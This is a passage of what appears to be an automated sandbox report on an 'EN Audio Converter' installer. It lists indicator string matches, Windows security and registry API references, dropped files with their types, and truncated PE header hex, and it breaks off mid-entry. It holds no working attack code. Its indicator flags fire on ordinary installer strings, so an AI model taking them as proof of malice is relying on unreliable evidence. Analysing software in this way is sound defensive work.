"00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string ">Please enable at least one type of item under "Where to scan"." (Indicator: ""where "; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "iPlease either disable scanning in value data or enable at least one type of value under "Where to scan"." (Indicator: ""where "; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "Where should [name] be installed?" (Indicator: "where "; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp") Found string "Where should Setup place the program's shortcuts?" (Indicator: "where "; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp") Found string "Where should EN Audio Converter be installed?" (Indicator: "where "; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp")47:T4ae,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "file") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "is-NS8P1.tmp.3264458212") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "is-NS8P1.tmp.3264458212") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000824.00000000.67101.0040B000.00000004.mdmp") Found reference to API "function GetUserNameString: String;" (Indicator: "GetUserName"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "LookupAccountSidW" (Indicator: "LookupAccountSid"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp")48:T6b4,Found string "S131Prompt for password on resume from hibernate/suspend" (Indicator: "password"; File: "is-HPLU5.tmp") Found string "The password you entered is not correct. Please try again." (Indicator: "password"; Source: "00000000-00000824.00000000.67101.04EB0000.00000004.mdmp") Found string "This installation is password protected." (Indicator: "password"; Source: "00000000-00000824.00000000.67101.04EB0000.00000004.mdmp") Found string "Please provide the password, then click Next to continue. Passwords are case-sensitive." (Indicator: "password"; Source: "00000000-00000824.00000000.67101.04EB0000.00000004.mdmp") Found string "Scheme "%s" is not registered$Credential without user and password+Platform-dependant function not implemented)Scheme-dependant function not implemented" (Indicator: "password"; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "Prompt for password on resume from hibernate/suspend" (Indicator: "password"; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "4Prompt for password on resume from hibernate/suspend" (Indicator: "password"; Source: "00000000-00001844.00000000.67907.004B3000.00000002.mdmp") Found string "The password you entered is not correct. Please try again." (Indicator: "password"; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp") Found string "This installation is password protected." (Indicator: "password"; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp") Found string "Please provide the password, then click Next to continue. Passwords are case-sensitive." (Indicator: "password"; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp")49:T59e,Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: file] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-OVA8F.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: file.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-DQV0E.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-NS8P1.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-D6C75.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-LNM07.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-8S264.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-BF2RD.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-BVAGG.tmp] Observed import api "GetCommandLineA" which can "Retrieves the command-line string for the current process" [Source: is-RC03K.tmp]4a:T4b6,Found reference to API "RegDeleteKeyExA" (Indicator: "RegDeleteKey"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "function RegDeleteKeyIncludingSubkeys(const RootKey: Integer; const SubkeyName: String): Boolean;" (Indicator: "RegDeleteKey"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "function RegDeleteKeyIfEmpty(const RootKey: Integer; const SubkeyName: String): Boolean;" (Indicator: "RegDeleteKey"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "function RegDeleteValue(const RootKey: Integer; const SubKeyName, ValueName: String): Boolean;" (Indicator: "RegDeleteValue"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp") Found reference to API "RegDeleteValueA" (Indicator: "RegDeleteValue"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "RegDeleteKeyA" (Indicator: "RegDeleteKey"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "RegDeleteKeyIncludingSubkeys" (Indicator: "RegDeleteKey"; Source: "00000000-00005244.00000000.67138.04770000.00000004.mdmp")4b:T798,Found reference to API "SetEntriesInAclW" (Indicator: "SetEntriesInAcl"; Source: "00000000-00005244.00000000.67138.00401000.00000020.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "AddAccessAllowedAce" (Indicator: "AddAccessAllowedAce"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "GetAce" (Indicator: "GetAce"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "InitializeAcl" (Indicator: "InitializeAcl"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "SetFileSecurityW" (Indicator: "SetFileSecurityW"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "SetSecurityDescriptorDacl" (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp") Found reference to API "InitializeSecurityDescriptor" (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00005244.00000000.67138.004A1000.00000002.mdmp")4c:T68e,Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: is-OVA8F.tmp] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: is-OVA8F.tmp] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: is-OVA8F.tmp] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: is-OVA8F.tmp] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: is-OVA8F.tmp] Observed import api "AllocateAndInitializeSid" which can "Allocates and initializes a security identifier (SID) with up to eight subauthorities" [Source: file.tmp] Observed import api "EqualSid" which can "Tests two security identifier (SID) values for equality" [Source: file.tmp] Observed import api "FreeSid" which can "Frees a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: file.tmp] Observed import api "GetTokenInformation" which can "Retrieves a specified type of information about an access token" [Source: file.tmp] Observed import api "InitializeSid" which can "Initializes a security identifier (SID)" [Source: file.tmp] Observed import api "InitializeSecurityDescriptor" which can "Initializes a new security descriptor" [Source: is-FP29R.tmp] Observed import api "SetSecurityDescriptorDacl" which can "Sets information in a discretionary access control list (DACL)" [Source: is-FP29R.tmp]4d:Td0f,Dropped file: "DioConverterRipper.exe" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\DioConverterRipper.exe]- [targetUID: 00000000-00005244] Dropped file: "is-HPLU5.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-HPLU5.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-OVA8F.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OVA8F.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-DQV0E.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DQV0E.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-U81O5.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-U81O5.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-3ND5L.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-3ND5L.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-SAM9T.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-SAM9T.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-NS8P1.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NS8P1.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-D6C75.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-D6C75.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-FP29R.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FP29R.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-LNM07.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-LNM07.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-PISV5.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-PISV5.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-8S264.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-8S264.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-BF2RD.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BF2RD.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-BVAGG.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BVAGG.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-S1360.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-S1360.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-RC03K.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-RC03K.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-1109E.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1109E.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-B2PH1.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-B2PH1.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-46CLL.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-46CLL.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-402PG.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-402PG.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-KUMP9.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-KUMP9.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-Q3HE1.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-Q3HE1.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-L0Q3M.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-L0Q3M.tmp]- [targetUID: 00000000-00005244] Dropped file: "is-FN3LT.tmp" - Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FN3LT.tmp]- [targetUID: 00000000-00005244]4e:T666,"file.tmp" called "FileTimeToLocalFileTime" with parameter 8436af8c7049da01 & 84f68b7e2d49da01 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter edaf678c7049da01 & ed6f447e2d49da01 (UID: 00000000-00005244) "file.tmp" called "FileTimeToSystemTime" (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00a6af6b052ecd01 & 00668c5dc22dcd01 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00a8177ee832d701 & 0068f46fa532d701 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00d097fe8944d801 & 009074f04644d801 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 000cdab9a652d301 & 00ccb6ab6352d301 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 003b813ef218cb01 & 00fb5d30af18cb01 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00bedabb57f1d301 & 007eb7ad14f1d301 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00ade15b2f8ed301 & 006dbe4dec8dd301 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00ca22d2de8cd301 & 008affc39b8cd301 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 000471e07a36d401 & 00c44dd23736d401 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00278d800907d201 & 00e76972c606d201 (UID: 00000000-00005244) "file.tmp" called "FileTimeToLocalFileTime" with parameter 00ab18d8de8cd301 & 006bf5c99b8cd301 (UID: 00000000-00005244)4f:T2d6a,"DioConverterRipper.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\DioConverterRipper.exe]- [targetUID: 00000000-00005244] "_iscrypt.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\is-COCHO.tmp\_isetup\_iscrypt.dll]- [targetUID: 00000000-00005244] "is-OVA8F.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OVA8F.tmp]- [targetUID: 00000000-00005244] "file.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\is-7FJGB.tmp\file.tmp]- [targetUID: 00000000-00000824] "is-DQV0E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DQV0E.tmp]- [targetUID: 00000000-00005244] "is-U81O5.tmp" has type "PE32 executable (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-U81O5.tmp]- [targetUID: 00000000-00005244] "is-3ND5L.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-3ND5L.tmp]- [targetUID: 00000000-00005244] "is-SAM9T.tmp" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-SAM9T.tmp]- [targetUID: 00000000-00005244] "is-NS8P1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NS8P1.tmp]- [targetUID: 00000000-00005244] "is-D6C75.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-D6C75.tmp]- [targetUID: 00000000-00005244] "is-FP29R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FP29R.tmp]- [targetUID: 00000000-00005244] "is-LNM07.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-LNM07.tmp]- [targetUID: 00000000-00005244] "is-PISV5.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-PISV5.tmp]- [targetUID: 00000000-00005244] "is-8S264.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-8S264.tmp]- [targetUID: 00000000-00005244] "is-BF2RD.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BF2RD.tmp]- [targetUID: 00000000-00005244] "is-BVAGG.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BVAGG.tmp]- [targetUID: 00000000-00005244] "is-S1360.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-S1360.tmp]- [targetUID: 00000000-00005244] "is-RC03K.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-RC03K.tmp]- [targetUID: 00000000-00005244] "is-1109E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1109E.tmp]- [targetUID: 00000000-00005244] "is-B2PH1.tmp" has type "PE32+ executable (console) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-B2PH1.tmp]- [targetUID: 00000000-00005244] "is-46CLL.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-46CLL.tmp]- [targetUID: 00000000-00005244] "is-402PG.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-402PG.tmp]- [targetUID: 00000000-00005244] "is-KUMP9.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-KUMP9.tmp]- [targetUID: 00000000-00005244] "is-Q3HE1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-Q3HE1.tmp]- [targetUID: 00000000-00005244] "is-L0Q3M.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-L0Q3M.tmp]- [targetUID: 00000000-00005244] "is-FN3LT.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-FN3LT.tmp]- [targetUID: 00000000-00005244] "is-GAPV1.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-GAPV1.tmp]- [targetUID: 00000000-00005244] "is-ECKK6.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ECKK6.tmp]- [targetUID: 00000000-00005244] "is-6SRMP.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-6SRMP.tmp]- [targetUID: 00000000-00005244] "is-MLG5J.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-MLG5J.tmp]- [targetUID: 00000000-00005244] "is-DADS0.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DADS0.tmp]- [targetUID: 00000000-00005244] "is-C7LBH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-C7LBH.tmp]- [targetUID: 00000000-00005244] "is-OE6V2.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-OE6V2.tmp]- [targetUID: 00000000-00005244] "is-ECHF3.tmp" has type "PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB) for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ECHF3.tmp]- [targetUID: 00000000-00005244] "is-A9KTH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-A9KTH.tmp]- [targetUID: 00000000-00005244] "is-3NJKQ.tmp" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-3NJKQ.tmp]- [targetUID: 00000000-00005244] "is-82GVB.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-82GVB.tmp]- [targetUID: 00000000-00005244] "is-VA83M.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-VA83M.tmp]- [targetUID: 00000000-00005244] "is-77M1C.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-77M1C.tmp]- [targetUID: 00000000-00005244] "is-83UK6.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-83UK6.tmp]- [targetUID: 00000000-00005244] "is-UFIVE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-UFIVE.tmp]- [targetUID: 00000000-00005244] "is-H69SE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-H69SE.tmp]- [targetUID: 00000000-00005244] "is-5FAIH.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-5FAIH.tmp]- [targetUID: 00000000-00005244] "is-UJRBF.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-UJRBF.tmp]- [targetUID: 00000000-00005244] "is-V6A1E.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-V6A1E.tmp]- [targetUID: 00000000-00005244] "is-NMF2B.tmp" has type "PE32+ executable (DLL) (GUI) x86-64 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-NMF2B.tmp]- [targetUID: 00000000-00005244] "is-VHDIC.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-VHDIC.tmp]- [targetUID: 00000000-00005244] "is-1C44R.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1C44R.tmp]- [targetUID: 00000000-00005244] "is-BFQCM.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-BFQCM.tmp]- [targetUID: 00000000-00005244] "is-G8RV0.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-G8RV0.tmp]- [targetUID: 00000000-00005244] "is-8JVG6.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-8JVG6.tmp]- [targetUID: 00000000-00005244] "is-IGPB7.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-IGPB7.tmp]- [targetUID: 00000000-00005244] "is-DOJJE.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-DOJJE.tmp]- [targetUID: 00000000-00005244] "is-IVAQ3.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-IVAQ3.tmp]- [targetUID: 00000000-00005244] "is-39S2A.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-39S2A.tmp]- [targetUID: 00000000-00005244] "is-QVM46.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-QVM46.tmp]- [targetUID: 00000000-00005244] "is-G95JB.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-G95JB.tmp]- [targetUID: 00000000-00005244] "is-1DQB3.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-1DQB3.tmp]- [targetUID: 00000000-00005244] "is-M7P6N.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-M7P6N.tmp]- [targetUID: 00000000-00005244] "is-ASTF1.tmp" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-ASTF1.tmp]- [targetUID: 00000000-00005244] "is-QC2VF.tmp" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\IramSoft\EN Audio Converter\is-QC2VF.tmp]- [targetUID: 00000000-00005244] "_setup64.tmp" has type "PE32+ executable (console) x86-64 for MS Windows"- Location: [%TEMP%\is-COCHO.tmp\_isetup\_setup64.tmp]- [targetUID: 00000000-00005244] "_RegDLL.tmp" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\is-COCHO.tmp\_isetup\_RegDLL.tmp]- [targetUID: 00000000-00005244]50:T2b07,"file.exe" wrote 53760 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-7FJGB.tmp\file.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "file.tmp" wrote 4096 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-COCHO.tmp\_isetup\_RegDLL.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 6144 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-COCHO.tmp\_isetup\_setup64.tmp": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 23312 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-COCHO.tmp\_isetup\_shfoldr.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 2560 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\is-COCHO.tmp\_isetup\_iscrypt.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.tmp" wrote 16384 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\IramSoft\EN Audio Converter\is-OVA8F.tmp": 4d5a50000200000004000f00ffff0000ff0000000000000040001a00000000000000000000000000000000000000000000000000000000000000000000010000ff10000e1fff09ff21ff014cff21ffff546869732070726f6772616d206d7573742062652072756e20756e6465722057696e33320d0a24370000000000000000 ... "file.tmp" wrote 28672 bytes starting with PE header 